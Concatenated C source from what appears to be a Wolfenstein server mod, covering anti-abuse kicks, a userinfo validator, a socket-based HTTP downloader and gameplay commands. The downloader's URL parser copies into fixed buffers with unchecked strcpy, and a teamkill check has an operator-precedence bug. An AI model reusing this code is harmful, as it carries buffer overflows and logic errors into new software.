trap_SendServerCommand(ent-g_entities, va("chat \"Char %c is OK\"", name[i]));
}else{
name[i] = '.';
trap_SendServerCommand(ent-g_entities, va("chat \"Changing char %c\"", name[i]));
}
}
Q_strncpyz(ent->client->pers.netname, name, sizeof(ent->client->pers.netname));
//Testing name length
i=0;
while ( name[i]){
trap_SendServerCommand(ent-g_entities, va("chat \"NAME: %c\"", name[i]));
i++;
}
}
/*
===========
S4ND_nuke
===========
this code kicks players for using any nuke exploit
*/
void S4ND_nuke( gentity_t *ent ) {
gentity_t *te;
gentity_t *other;
char *value;
char userinfo[MAX_INFO_STRING];
char index[MAX_OSPATH];
int i;
Q_strncpyz(index, "sound/player/nuke1.wav", sizeof(index));
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}
//after the fun stuff, its v55. I put it up above the kicking so we wouldent have a problemo with maxclients becoming 1 less while its looping :S
trap_GetUserinfo( ent-g_entities, userinfo, sizeof( userinfo ) );
value = Info_ValueForKey( userinfo, "ip" );
// trap_SendConsoleCommand(EXEC_APPEND, va("addip %s\n",
//ent->client->sess.ip));
S4ND_Log("***VIOLATION: Nuking: %s, IP: %s\n",ent->client->pers.netname, ent->client->sess.ip);
trap_DropClient( ent-g_entities, "^7Player Kicked: ^3Nuking" );
}
/*
Checks for minimum name length
*/
qboolean isNameShort(gentity_t *ent){
char cleanName[64];
int i;
#ifdef OMNIBOT
if(!AB_Enable.integer || ent->r.svFlags & SVF_BOT )
return qfalse;
#else
if(!AB_Enable.integer)
return qfalse;
#endif
if (!AB_MinNameChars.integer)
return qfalse;
// Sanity checks. No one wants players with 0 name length
if (AB_MinNameChars.integer <= 0)
trap_Cvar_Set( "AB_MinNameChars", "1" );
if (AB_MinNameChars.integer > 6)
trap_Cvar_Set( "AB_MinNameChars", "6" );
Q_strncpyz(cleanName, ent->client->pers.netname, sizeof(cleanName));
Q_CleanStr(cleanName); // Players must have at least AB_MinNameChars english (non ascii) letters
for (i = 0; i < AB_MinNameChars.integer; i++){
if (cleanName[i] == '\0')
return qtrue; // Uh oh.. their name is too short.. kick them
}
return qfalse;
}
/*
===========
S4ND_spam
===========
this code kicks players for namespaming when ! intermission
*NEW* We now tempban them for 1 min... you rarley do this by accident, so keep the server free for a few moments
of this asshole
*/
void S4ND_spam( gentity_t *ent ) {
S4ND_Log("***VIOLATION: Namespam: %s, IP: %s\n",ent->client->pers.netname, ent->client->sess.ip);
trap_DropClient( ent-g_entities, "^7Player Kicked: ^3Name Spamming" );
}
/*
==================
Cheats Kick
==================
*/
void Kick_Cheats(gentity_t *ent) {
S4ND_Log("***VIOLATION: Single Player Cheats: %s, IP: %s\n",ent->client->pers.netname, ent->client->sess.ip);
trap_DropClient( ent-g_entities, "^7Player Kicked: ^3Single Player Cheats Are ^3Not Allowed" );
}
/*
================
check_adminbot
================
*/
void check_adminbot(gentity_t *attacker, gentity_t *self, int meansOfDeath){
/*1st lets look how they killed the guy and give them some tkpoints like wab would
then lets check the points and make sure they didnt go over
then lets check their score
if they went over get rid of them
Gonnam make it check score here so it will be checked
unless u are admin or private slot
now lets check their score
========
Jan 19 2007 - Agent
Removed the console lines for player kicked. Added IP to log kick.
*/
#ifdef OMNIBOT
if(!AB_Enable.integer || attacker->r.svFlags & SVF_BOT )
return;
#else
if(!AB_Enable.integer)
return;
#endif
if ((attacker->client->ps.persistant[PERS_SCORE] <= AB_MinScore.integer) && (AB_MinScore.integer < 0)){
if ((!attacker->client->sess.admin) && (!attacker->client->sess.developer)){
if(AB_TempBanTime.integer){
TEMPBAN_CLIENT(attacker, AB_TempBanTime.integer);
}
S4ND_Log("***VIOLATION: Low Score: %s, IP: %s\n",attacker->client->pers.netname, attacker->client->sess.ip);
trap_DropClient(attacker->client->ps.clientNum, "^7Player Kicked: ^3Score too Low");
}
}
if(self->client != attacker->client){
if (( self->client->ps.persistant[PERS_SCORE] <= AB_MinScore.integer) && (AB_MinScore.integer < 0)){
if ((!self->client->sess.admin) && (!self->client->sess.developer)){
if(AB_TempBanTime.integer){
TEMPBAN_CLIENT(self, AB_TempBanTime.integer);
}
S4ND_Log("***VIOLATION: Low Score: %s, IP: %s\n",self->client->pers.netname, self->client->sess.ip);
trap_DropClient(self->client->ps.clientNum, "^7Player Kicked: ^3Score too Low");
}
}
}
//if it was their own grenade lets not check them at all
if (attacker->client == self->client)
return;
if (meansOfDeath == MOD_KNIFE2 || meansOfDeath == MOD_KNIFE || meansOfDeath == MOD_KNIFE_STEALTH){
//DEFAULT: 50 copied values from WAB
attacker->client->pers.AB_TKpoints += AB_KnifePoints.integer;
}
else if (meansOfDeath == MOD_LUGER || meansOfDeath == MOD_COLT){
//DEFAULT:50 copied values from WAB
attacker->client->pers.AB_TKpoints += AB_PistolPoints.integer;
}
else if (meansOfDeath == MOD_MP40 ||meansOfDeath == MOD_THOMPSON || meansOfDeath == MOD_STEN){
//DEFAULT: 30 copied values from WAB
attacker->client->pers.AB_TKpoints += AB_MgPoints.integer;
}
else if (meansOfDeath == MOD_MAUSER){
//DEFAULT: 50 copied values from WAB
attacker->client->pers.AB_TKpoints += AB_MauserPoints.integer;
}
else if (meansOfDeath == MOD_SNIPERRIFLE){
//DEFAULT: 50 copied values from WAB
attacker->client->pers.AB_TKpoints += AB_SniperPoints.integer;
}
else if (meansOfDeath == MOD_DYNAMITE_SPLASH || meansOfDeath == MOD_DYNAMITE){
//DEFAULT: 20 copied values from WAB
attacker->client->pers.AB_TKpoints += AB_DynamitePoints.integer;
}
else if (meansOfDeath == MOD_ROCKET_SPLASH || meansOfDeath == MOD_ROCKET_LAUNCHER){
//DEFAULT: 25 copied values from WAB
attacker->client->pers.AB_TKpoints += AB_PanzerPoints.integer;
}
else if (meansOfDeath == MOD_GRENADE_PINEAPPLE ||meansOfDeath == MOD_GRENADE_SPLASH || meansOfDeath == MOD_GRENADE_LAUNCHER){
//DEFAULT: 25 copied values from WAB
attacker->client->pers.AB_TKpoints += AB_NadePoints.integer;
}
else if (meansOfDeath == MOD_VENOM){
//DEFAULT: 30 copied values from WAB
attacker->client->pers.AB_TKpoints += AB_VenomPoints.integer;
}
else if (meansOfDeath == MOD_FLAMETHROWER){
//DEFAULT: 50 chenged this from WAB 'cause this is the way i hate being killed most
attacker->client->pers.AB_TKpoints += AB_FlamerPoints.integer;
}
else if (meansOfDeath == MOD_MACHINEGUN){
//DEFAULT: 20 copied values from WAB
attacker->client->pers.AB_TKpoints += AB_Mg42Points.integer;
}
else if (meansOfDeath == MOD_AIRSTRIKE){
//DEFAULT: 25 copied values from WAB
attacker->client->pers.AB_TKpoints += AB_AsPoints.integer;
}
else if (meansOfDeath == MOD_ARTILLERY){
//DEFAULT: 25 copied values from WAB
attacker->client->pers.AB_TKpoints += AB_AsPoints.integer;
}
else if (meansOfDeath == MOD_THROWING_KNIFE){//throwing knives
//DEFAULT: 40 copied values from WAB
attacker->client->pers.AB_TKpoints += AB_ThrowKnivesPoints.integer;
}
//warn that they are in danger
if(((attacker->client->pers.teamKills + 1 == AB_Tks.integer) && (AB_Tks.integer > 1)) || ((attacker->client->pers.AB_TKpoints + 20 >= AB_MaxTkPoints.integer) && (AB_MaxTkPoints.integer > 20))){
if ((!attacker->client->sess.admin) && (!attacker->client->sess.developer)){
trap_SendServerCommand(attacker-g_entities, va("chat \"^3AdminBot^7: get kicked on next teamkill!\"" , attacker->client->pers.netname));
//trap_SendServerCommand(attacker-g_entities, va("cp \"^3***^1WARNING^3***\n ^7GET KICKED ON NEXT TEAMKILL!\n\"1", self->client->pers.netname ));
}
}
//ok now we are done giving them some points now lets check them
//Agent - Check to see if they are still connected... maybe they got kicked for score so dont run this kick again
if (attacker->client->pers.connected == CON_CONNECTED){
if (AB_Tks.integer > 0){
if (attacker->client->pers.teamKills >= AB_Tks.integer || attacker->client->pers.AB_TKpoints >= AB_MaxTkPoints.integer){
if ((!attacker->client->sess.admin) && (!attacker->client->sess.developer)){
if(AB_TempBanTime.integer){
TEMPBAN_CLIENT(attacker, AB_TempBanTime.integer);
}
//trap_SendServerCommand(-1, va("chat \"console: %.99s ^7kicked: ^3Teamkilling^7.\n\"" , attacker->client->pers.netname));
S4ND_Log("***VIOLATION: Teamkilling: %s, IP: %s\n",attacker->client->pers.netname, attacker->client->sess.ip);
trap_DropClient(attacker->client->ps.clientNum, "^7Player Kicked: ^3Teamkilling");
//G_LogPrintf("%.99s KICKED FOR TEAMKILLING.\n",attacker->client->pers.netname );
}
}
}
}
//Agent 1/17/07 Lets kick anyone who is doing more than 1/4 of their damage to teammates
// It requires wounders to do 4 times as much damage to enemies as teammates
// Only possible drawback is when a new round starts and the first person someone shoots is a teammate
// Oh wait...it only checks this if the player dies...so might want to do a check for SELF also so that if
// The wounder gets TKed he will get the v55
/*
if (attacker->client->pers.dmgTeam / attacker->client->pers.dmgGiven > .25){
if ((!attacker->client->sess.admin) && (!attacker->client->sess.developer)){
if(AB_TempBanTime.integer){
TEMPBAN_CLIENT(attacker, AB_TempBanTime.integer);
}
G_LogPrintf("Kicked for Excessive Team Damage: %s, IP: %s\n",attacker->client->pers.netname, attacker->client->sess.ip);
trap_DropClient(attacker->client->ps.clientNum, "^7Player Kicked: ^3Teamkilling");
}
}
// Checking for the Self (which would be the wounder)
if (self->client->pers.dmgTeam / self->client->pers.dmgGiven > .25){
if ((!self->client->sess.admin) && (!self->client->sess.developer)){
if(AB_TempBanTime.integer){
TEMPBAN_CLIENT(self, AB_TempBanTime.integer);
}
G_LogPrintf("Kicked for Excessive Team Damage: %s, IP: %s\n",self->client->pers.netname, self->client->sess.ip);
trap_DropClient(self->client->ps.clientNum, "^7Player Kicked: ^3Teamkilling");
}
}*/
if(AB_MinHitsPercent.integer){
double teamHitPct = 0;
if(attacker->client->pers.acc_hits > 0){
teamHitPct = (attacker->client->pers.acc_teamHits / attacker->client->pers.acc_hits) * (100);
}
if((attacker->client->pers.acc_hits >= AB_MinHits.integer) && (teamHitPct >= AB_MinHitsPercent.integer) &&
(!attacker->r.svFlags & SVF_BOT)){
TEMPBAN_CLIENT(attacker, AB_TempBanTime.integer);
S4ND_Log("***VIOLATION: Teamkilling: %s, IP: %s\n",attacker->client->pers.netname, attacker->client->sess.ip);
trap_DropClient(attacker->client->ps.clientNum, "^7Player Kicked: ^3Teamkilling");
}
// Also check for the victem... he may be being TKed out of revenge
if(self->client->pers.acc_hits > 0){
teamHitPct = (self->client->pers.acc_teamHits / self->client->pers.acc_hits) * (100);
}
if((self->client->pers.acc_hits >= AB_MinHits.integer) && (teamHitPct >= AB_MinHitsPercent.integer) &&
(!self->r.svFlags & SVF_BOT)){
TEMPBAN_CLIENT(self, AB_TempBanTime.integer);
S4ND_Log("***VIOLATION: Teamkilling: %s, IP: %s\n",self->client->pers.netname, self->client->sess.ip);
trap_DropClient(self->client->ps.clientNum, "^7Player Kicked: ^3Teamkilling");
}
}
}
/*
================
badUserinfo
Ripped from ETPub
================
*/
qboolean badUserinfo( int clientNum ){
char userinfo[MAX_INFO_STRING];
int length = 0, i, slashCount = 0, count = 0;
// Always check...
trap_GetUserinfo( clientNum, userinfo, sizeof( userinfo ) );
length = strlen(userinfo);
if(length < 1){
return qtrue; // Userinfo too short
}
// Dens: userinfo always has to have a leading slash
if(userinfo[0] != '\\'){
return qtrue; // Missing leadingslash in userinfo
}
// Dens: the engine always adds ip\ip:port at the end, so there will never
// be a trailing slash
if(userinfo[length-1] == '\\'){
return qtrue; // Trailing slash in userinfo
}
for(i=0;userinfo[i];i++){
if(userinfo[i] == '\\'){
slashCount++;
}
}
if(slashCount % 2 != 0){
return qtrue; // Bad number of slashes in userinfo
}
// Dens: make sure there is only one ip, cl_guid, name and cl_punkbuster field
if(length > 4){
for(i=0;userinfo[i+3];i++){
if(userinfo[i] == '\\' && userinfo[i+1] == 'i' &&
userinfo[i+2] == 'p' && userinfo[i+3] == '\\'){
count++;
}
}
}
if(count > 1){
return qtrue; // Too many IP fields
}
count = 0;
if(length > 6){
for(i=0;userinfo[i+5];i++){
if(userinfo[i] == '\\' && userinfo[i+1] == 'n' &&
userinfo[i+2] == 'a' && userinfo[i+3] == 'm' &&
userinfo[i+4] == 'e' && userinfo[i+5] == '\\'){
count++;
}
}
}
if(count > 1){
return qtrue; // Too many name fields
}
return qfalse; // Their userinfo is clean
}
<file_sep>#include "g_local.h"
#include "S4ND_local.h"
#ifdef WIN32
#include <winsock.h>
#pragma comment(lib,"wsock32.lib")
#else
#define closesocket close
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
u_int GetHostAddress(char* host)
{
struct hostent *phe;
char *p;
phe = gethostbyname( host );
if(phe==NULL)
return 0;
p = *phe->h_addr_list;
return *((u_int*)p);
}
void SendString(int sock,char* str)
{
send(sock,str,(int)strlen(str),0);
}
int ValidHostChar(char ch)
{
return( isalpha(ch) || isdigit(ch)
|| ch=='-' || ch=='.' || ch==':' );
}
char *strupr2(char *string)
{
char *s;
if (string)
{
for (s = string; *s; ++s)
*s = toupper(*s);
}
return string;
}
void ParseURL(char* url,char* protocol,int lprotocol,
char* host,int lhost,char* request,int lrequest,int *port)
{
char *work,*ptr,*ptr2;
*protocol = *host = *request = 0;
*port=80;
work = strdup(url);
strupr2(work);
ptr = strchr(work,':');
if(ptr!=NULL)
{
*(ptr++) = 0;
strcpy(protocol,work);
}
else
{
strcpy(protocol,"HTTP");
ptr = work;
}
if( (*ptr=='/') && (*(ptr+1)=='/') )
ptr+=2;
ptr2 = ptr;
while( ValidHostChar(*ptr2) && *ptr2 )
ptr2++;
*ptr2=0;
strcpy(host,ptr);
strcpy(request,url + (ptr2-work));
ptr = strchr(host,':');
if(ptr!=NULL)
{
*ptr=0;
*port = atoi(ptr+1);
}
free(work);
}
int httpGet(char*url,char*filename)
{
#ifdef WIN32
WSADATA WsaData;
#endif
struct sockaddr_in sin;
int sock;
char buffer[512];
char protocol[20],host[256],request[1024];
int l,port,chars,err;
int done;
FILE* out;
out=fopen(filename,"w+");
ParseURL(url,protocol,sizeof(protocol),host,sizeof(host),request,sizeof(request),&port);// Parse the URL
if(strcmp(protocol,"HTTP"))
return 0;
#ifdef WIN32
err = WSAStartup (0x0101, &WsaData); // Init Winsock
if(err!=0)
return 0;
#endif
sock = (int)socket (AF_INET, SOCK_STREAM, 0);
if (sock < 0)
return 0;
sin.sin_family = AF_INET; //Connect to web sever
sin.sin_port = htons( (unsigned short)port );
sin.sin_addr.s_addr = GetHostAddress(host);
if( connect (sock,(struct sockaddr*)&sin, sizeof(/*struct sockaddr_in*/sin) ) )
{
return 0;
}
if( !*request ) strcpy(request,"/");
//Start Sending header
SendString(sock,"GET ");
SendString(sock,request);
SendString(sock," HTTP/1.0\r\n"
"User-Agent: S4NDMoD/2.4.0\r\n"
"Host: ");
SendString(sock,host);
SendString(sock,"\r\n\r\n"); // Send a blank line to signal end of HTTP headerReceive
//receive the header from the server really not doing anything with this info...
chars = 0;
done = 0;
while(!done)
{
l = recv(sock,buffer,1,0);
if(l<0)
done=1;
switch(*buffer)
{
case '\r':
break;
case '\n':
if(chars==0)
done = 1;
chars=0;
break;
default:
chars++;
break;
}
}
do
{
l = recv(sock,buffer,sizeof(buffer)-1,0);
if(l<0)
break;
*(buffer+l)=0;
fputs(buffer,out);
} while(l>0);
closesocket(sock);
fclose(out);
return 1;
}<file_sep>#include "g_local.h"
#include "S4ND_local.h"
#ifdef OMNIBOT
#include "g_rtcwbot_interface.h"
#endif
/*
===========
Cmd_Push_f
===========
*/
void Cmd_Push_f(gentity_t* ent){
gentity_t *target;
trace_t tr;
vec3_t start, end, forward;
float shoveAmount;
if (!g_shove.integer)
return;
if (ent->client->ps.stats[STAT_HEALTH] <= 0)
return;
if (level.time < (ent->lastPushTime + 600))
return;
AngleVectors(ent->client->ps.viewangles, forward, NULL, NULL);
VectorCopy(ent->s.pos.trBase, start); //set 'start' to the player's position (plus the viewheight)
start[2] += ent->client->ps.viewheight;
VectorMA (start, 128, forward, end); //put 'end' 128 units forward of 'start'
//see if we hit anything between 'start' and 'end'
trap_Trace (&tr, start, NULL, NULL, end, ent->s.number, CONTENTS_BODY);
//if we didn't hit a player, return
if (tr.entityNum >= MAX_CLIENTS)
return;
target = &(g_entities[tr.entityNum]);
if ((!target->inuse) || (!target->client)) //if the player is lagged/disconnected/etc
return;
if (target->client->ps.stats[STAT_HEALTH] <= 0) //if they're dead
return;
//push them by adding 512*g_shoveAmount units to their velocity, in the direction the pusher is facing
shoveAmount = 512 * g_shoveAmount.value;
VectorMA(target->client->ps.velocity, shoveAmount, forward, target->client->ps.velocity);
ent->lastPushTime = level.time; //set this so we can't push too often
}
/*
=================
Cmd_Drag_f
=================
*/
void Cmd_Drag_f( gentity_t *ent) {
gentity_t *target;
vec3_t start,dir,end;
trace_t tr;
target = NULL;
if (!g_dragCorpse.integer)
return;
if (level.time < (ent->lastDragTime + 20))
return;
if (ent->client->ps.stats[STAT_HEALTH] <= 0)
return;
AngleVectors(ent->client->ps.viewangles, dir, NULL, NULL);
VectorCopy(ent->s.pos.trBase, start); //set 'start' to the player's position (plus the viewheight)
start[2] += ent->client->ps.viewheight;
VectorMA (start, 100, dir, end); //put 'end' 128 units forward of 'start'
trap_Trace (&tr, start, NULL, NULL, end, ent->s.number, CONTENTS_CORPSE);
//if we didn't hit a player, return
if (tr.entityNum >= MAX_CLIENTS)
return;
target = &(g_entities[tr.entityNum]);
if ((!target->inuse) || (!target->client)) //if the player is lagged/disconnected/etc
return;
// put target position in start
VectorCopy(target->r.currentOrigin, start);
// put grenade position in end
VectorCopy(ent->r.currentOrigin, end);
// subtract start from end to get directional vector
VectorSubtract(end, start, dir);
VectorNormalize(dir);
// scale directional vector by 100 and add to the targets velocity
VectorScale(dir,100, target->client->ps.velocity);
// make targets move direction = to directional vector.
VectorCopy(dir, target->movedir);
ent->lastDragTime = level.time;
}
/*
==================================================================
Cmd_KickGrenade_f
Implements grenade kicking whenever a player presses +salute
while standing near a grenade (with some restrictions).
This is not an extremely cheap function to call, but it
shouldn't create any problems in virtually any situation.
There have been issues with it causing rare game freezes
while it was being developed, but these no longer seem to occur.
==================================================================
*/
void Cmd_KickGrenade_f(gentity_t *ent)
{
gentity_t *e, *grenade = NULL;
float dist, bestdist = -1;
if (!g_kickableNades.integer) //if it's not enabled, skip everything and just return
return;
//loop through every non-player entity, and find the closest valid grenade
//ordered for minimal calculations and impact - SHOULD be unnoticable
for (e = g_entities + MAX_CLIENTS; e < &g_entities[level.num_entities]; e++)
{
//if it's invalid or unused, skip it
if (!e || !e->inuse)
continue;
//if it's not a grenade, skip it (have to check both, flamebarrels etc use same mod, and airstrikes are 'grenades')
if ((e->methodOfDeath != MOD_GRENADE) || (Q_stricmp(e->classname, "grenade") != 0))
continue;
//can't kick grenades that are above waist-height
if (e->r.currentOrigin[2] >= ent->r.currentOrigin[2])
continue;
//find the nearest valid grenade
dist = VectorDistance(ent->r.currentOrigin, e->r.currentOrigin);
if ((dist < bestdist) || (bestdist == -1))
{
grenade = e;
bestdist = dist;
}
}
if ((grenade) && (bestdist <= 70)) //if we found a grenade and it's close enough to kick
{
//don't kick it if it's moving too fast or about to explode(causes errors? SOMEthing does...)
if ((grenade->s.pos.trDelta[2] <= 140) && (VectorLength(grenade->s.pos.trDelta) <= 160) && (grenade->nextthink - level.time >= 500))
{
float speed = 800.0f; //default value, based on some testing
vec3_t angles, forward;
grenade->s.pos.trType = TR_GRAVITY; //have to set this in case it was reset to TR_STATIONARY
VectorClear(angles); //only angles[1] is used
//set it to the direction we're facing, +/- 15 degrees
angles[1] = ent->client->ps.viewangles[1] + (crandom() * 15.0f);
//get the 'forward' vector based on the direction we're facing
AngleVectors(angles, forward, NULL, NULL);
//add some randomness to the 'height' of the kick
forward[2] = 0.5f + (crandom() * 0.15f);
VectorNormalizeFast(forward); //re-normalize the vector
speed += (crandom() * 150.0f); //add some randomness to the speed/distance of the kick
VectorScale(forward, speed, forward); //and multiply the vector by the speed
//play the grenade throwing sound, just to let them know they successfully kicked it
G_Sound(ent, G_SoundIndex("sound/weapons/grenade/grenlf1a.wav"));
trap_UnlinkEntity(grenade); //probably not necessary, may prevent an occasional error
grenade->s.pos.trTime = level.time - 50; //move a little on the first frame
//set the grenade's initial position
VectorCopy(grenade->r.currentOrigin, grenade->s.pos.trBase);
VectorCopy(forward, grenade->s.pos.trDelta); //essentially, set the velocity
SnapVector(grenade->s.pos.trDelta); //"save network bandwith" apparently...rounds everything to integers
trap_LinkEntity(grenade); //re-link the grenade...have to if we unlinked it
}
}
}
/*
=============
Cmd_KickAS_f
=============
*/
void Cmd_KickAS_f(gentity_t *ent)
{
gentity_t *e, *grenade=NULL;
float dist, bestdist=-1;
if (!g_kickableAS.integer) //just return if this isn't enabled
return;
//loop through every non-player entity, and find the nearest valid airstrike canister (if any)
for (e = g_entities + MAX_CLIENTS; e < &g_entities[level.num_entities]; e++)
{
if (!e || !e->inuse) //skip unused entities
continue;
//skip non-airstrike-canisters
if ((Q_stricmp(e->classname, "grenade") != 0) || (e->s.weapon != WP_SMOKE_GRENADE))
continue;
//it must be at or below waist-height
if (e->r.currentOrigin[2] >= ent->r.currentOrigin[2])
continue;
//it can't be moving/bouncing (unlike grenades)
if (VectorLength(e->s.pos.trDelta) > 0)
continue;
//find the closest matching airstrike canister
//this probably isn't necessary, since normally a lt can only have one canister out at a time
//but if the lt charge time was VERY low, it might be possible to have multiple ones
dist = VectorDistance(ent->r.currentOrigin, e->r.currentOrigin);
if ((dist < bestdist) || (bestdist == -1))
{
grenade = e;
bestdist = dist;
}
}
if ((grenade) && (bestdist <= 70)) //if we found a canister that is close enough to kick
{
float speed = 500.0f; //much lower speed for these compared to grenades
vec3_t angles, forward;
//virtually the same as in Cmd_KickGrenade_f
VectorClear(angles);
angles[1] = ent->client->ps.viewangles[1] + (crandom() * 15.0f);
G_Sound(ent, G_SoundIndex("sound/weapons/grenade/grenlf1a.wav"));
AngleVectors(angles, forward, NULL, NULL);
forward[2] = 0.4f + (crandom() * 0.15f); //slightly lower arc
VectorNormalizeFast(forward);
speed += (crandom() * 150.0f);
VectorScale(forward, speed, forward);
// trap_UnlinkEntity(grenade);
grenade->s.pos.trType = TR_GRAVITY;
grenade->s.pos.trTime = level.time - 50;
VectorCopy(grenade->r.currentOrigin, grenade->s.pos.trBase);
VectorCopy(forward, grenade->s.pos.trDelta);
SnapVector(grenade->s.pos.trDelta);
// trap_LinkEntity(grenade);
}
}
/*
===========
Cmd_Gib_f
===========
*/
void Cmd_Gib_f(gentity_t *ent){
if(g_deathmatch.integer == 2){
trap_SendServerCommand( ent-g_entities, "print \"^3You can not /gib in free for all.\n\"");
return;
}
// L0 - don't allow suicide if match is paused
if (level.paused) { return; }
//Dont allow it if they just spawned - Agent, let them, if they really want to kill themself...
// if (ent->client->ps.powerups[PW_INVULNERABLE] >= level.time)
// return;
if (g_headshotsOnly.integer !=0)
return;
if ( ent->client->sess.sessionTeam == TEAM_SPECTATOR ) {
return;
}
if ( g_gametype.integer >= GT_WOLF && ent->client->ps.pm_flags & PMF_LIMBO ) {
return;
}
if (ent->client->ps.stats[STAT_HEALTH] <= 0)
return;
if (g_allowGib.integer){
//ent->client->ps.persistant[PERS_HWEAPON_USE] = 0;
//G_Damage(ent, ent, ent, NULL, NULL, 1000000, 0, 1005);
//Agent - reworked this to make it go faster...guess where it came from :=D (answer = 1.4)
ent->flags &= ~FL_GODMODE;
ent->client->ps.stats[STAT_HEALTH] = ent->health = 0;
ent->client->ps.persistant[PERS_HWEAPON_USE] = 0; // TTimo - if using /kill while at MG42
player_die (ent, ent, ent, 100000, MOD_SUICIDE);
}
}
//From here down to agents commands are for S4NDM4NN i think(trying to clean up source some)
//==========================================================================================
/*
==================
For Nadepack drop
==================
*/
void Cmd_NadePack_f(gentity_t *ent){
gclient_t *client;
gitem_t *item=NULL;
vec3_t velocity, org, offset;
vec3_t angles,mins,maxs;
trace_t tr;
gentity_t *flag;
client = ent->client;
if (!g_dropNadepacks.integer){
trap_SendServerCommand(ent-g_entities, va("chat \"Grenade packs are not enabled\""));
return;
}
//Bugfix...Players could drop if dead
if (ent->client->ps.stats[STAT_HEALTH] <= 0){
trap_SendServerCommand(ent-g_entities, va("chat \"You must be alive to drop a grenade pack\""));
return;
}
if (g_dropNadepacks.integer && ent->client->ps.stats[STAT_PLAYER_CLASS] == PC_ENGINEER){
if (level.time - ent->client->ps.classWeaponTime >= g_engineerChargeTime.integer*0.75f) {
if (level.time - ent->client->ps.classWeaponTime > g_engineerChargeTime.integer)
ent->client->ps.classWeaponTime = level.time - g_engineerChargeTime.integer;
ent->client->ps.classWeaponTime += g_engineerChargeTime.integer*0.25;
if (ent->client->sess.sessionTeam == TEAM_RED)
item = BG_FindItem("Grenades");
else
item = BG_FindItem("Pineapples");
//much of the following copied from the dropweapon code below
VectorCopy(client->ps.viewangles, angles);
// clamp pitch
if (angles[PITCH] < -30)
angles[PITCH] = -30;
else if (angles[PITCH] > 30)
angles[PITCH] = 30;
AngleVectors(angles, velocity, NULL, NULL);
VectorScale(velocity, 64, offset);
offset[2] += client->ps.viewheight/2;
VectorScale(velocity, 75, velocity);
velocity[2] += 50 + random() * 35;
VectorAdd(client->ps.origin,offset,org);
VectorSet(mins, -ITEM_RADIUS, -ITEM_RADIUS, 0);
VectorSet(maxs, ITEM_RADIUS, ITEM_RADIUS, 2*ITEM_RADIUS);
trap_Trace (&tr, client->ps.origin, mins, maxs, org, ent->s.number, MASK_SOLID);
VectorCopy(tr.endpos, org);
flag = LaunchItem(item, org, velocity, client->ps.clientNum);
flag->s.modelindex2 = ent->s.otherEntityNum2;// JPW NERVE FIXME set player->otherentitynum2 with old modelindex2 from flag and restore here
flag->message = ent->message; // DHM - Nerve :: also restore item name
// Clear out player's temp copies
ent->s.otherEntityNum2 = 0;
ent->message = NULL;
G_AddEvent( ent, EV_GENERAL_SOUND, G_SoundIndex( "sound/multiplayer/bag_toss.wav" ));
}
}
}
/*///////////////////////////////////////////////////////
Cmd_ThrowKnife_f
Implements knife throwing when a player presses the
drop weapon key while holding a knife. Players can only
throw a knife every 0.75 seconds.
*////////////////////////////////////////////////////////
void Cmd_ThrowKnife_f(gentity_t *ent)
{
vec3_t velocity, angles, offset, org, mins, maxs;
trace_t tr;
gentity_t *ent2;
gitem_t *item = BG_FindItemForWeapon(WP_KNIFE);
if (g_throwableKnives.integer == 0)
return;
if (level.time < (ent->thrownKnifeTime + 750)) //can throw one every 0.75 seconds
return;
//return if we have no more knives to throw (-1 is infinite)
if ((ent->client->pers.throwingKnives == 0) && (g_throwableKnives.integer != -1))
return;
//some of this is copied from the drop weapon code in g_active.c
AngleVectors(ent->client->ps.viewangles, velocity, NULL, NULL);
VectorScale(velocity, 64, offset);
offset[2] += ent->client->ps.viewheight/2;
VectorScale(velocity, 800, velocity); //make the knife go pretty quickly
velocity[2] += 50 + random() * 35;
VectorAdd(ent->client->ps.origin, offset, org);
VectorSet(mins, -ITEM_RADIUS, -ITEM_RADIUS, 0);
VectorSet(maxs, ITEM_RADIUS, ITEM_RADIUS, 2*ITEM_RADIUS); //these have something to do with making the item sit on the ground
trap_Trace (&tr, ent->client->ps.origin, mins, maxs, org, ent->s.number, MASK_SOLID);
VectorCopy(tr.endpos, org);
G_Sound(ent, G_SoundIndex("sound/weapons/knife/knife_slash1.wav")); //play a sound
//set angle of knife
ent2 = LaunchItem(item, org, velocity, ent->client->ps.clientNum); //actually throw the knife
VectorCopy(ent->client->ps.viewangles, angles);
angles[1]+=90;
G_SetAngle (ent2, angles);
ent2->touch = Touch_Knife; //set this to our own handler so we can customize what happens
ent2->parent = ent; //so we know who threw the knife
if (g_throwableKnives.integer > 0)
ent->client->pers.throwingKnives--; //get rid of a knife
//only show the message if throwing knives are enabled
if (g_throwableKnives.integer > 0){
//prints the message in the chat/talking area
trap_SendServerCommand(ent-g_entities, va("chat \"^3Knives left:^7 %d\" %i", ent->client->pers.throwingKnives, qfalse));
}
ent->thrownKnifeTime = level.time; //mark this so they can't throw a ton of them in a row
}
//NOTE: This is not a command but it is related to above.
/*////////////////////////////////////////////
Touch_Knife
Called whenever a client touches a thrown knife.
Made this a separate function rather than edit 4 or 5 id funcs.
Will either hurt the client or have them pick up the knife.
Most of the pickup code is copied from Touch_Item.
*/////////////////////////////////////////////
void Touch_Knife(gentity_t *ent, gentity_t *other, trace_t *trace)
{
qboolean hurt = qfalse;
ent->active = qfalse; //set this just to be safe, but shouldn't be necessary
//make sure this is a person, and that they're not dead
if (!other->client)
return;
if (other->health < 1)
return; // dead people can't pickup
if (VectorLength(ent->s.pos.trDelta) != 0) //if the knife is still moving (not on ground yet)
{
//if friendly fire is off, or if the player who touched the thrown knife is on the other team
if ((g_friendlyFire.integer) || (!OnSameTeam(other, ent->parent)))
{
int i;
int sound;
int damage = g_knifeDamage.integer; //set the damage to its max value
damage -= rand() % 10; //subtract 0-9 to make it a little varied
if (damage <= 0) //make sure there's still some damage
damage = 1;
//pick a random sound to play
i = rand() % 3;
if (i == 0)
sound = G_SoundIndex("/sound/weapons/knife/knife_hit1.wav");
else if (i == 1)
sound = G_SoundIndex("/sound/weapons/knife/knife_hit2.wav");
else
sound = G_SoundIndex("/sound/weapons/knife/knife_hit3.wav");
G_Sound(other, sound); //play the sound
G_Damage(other, ent->parent, ent->parent, NULL, trace->endpos, damage, 0, MOD_THROWING_KNIFE); //hurt them! (for now, no dir, maybe change later)
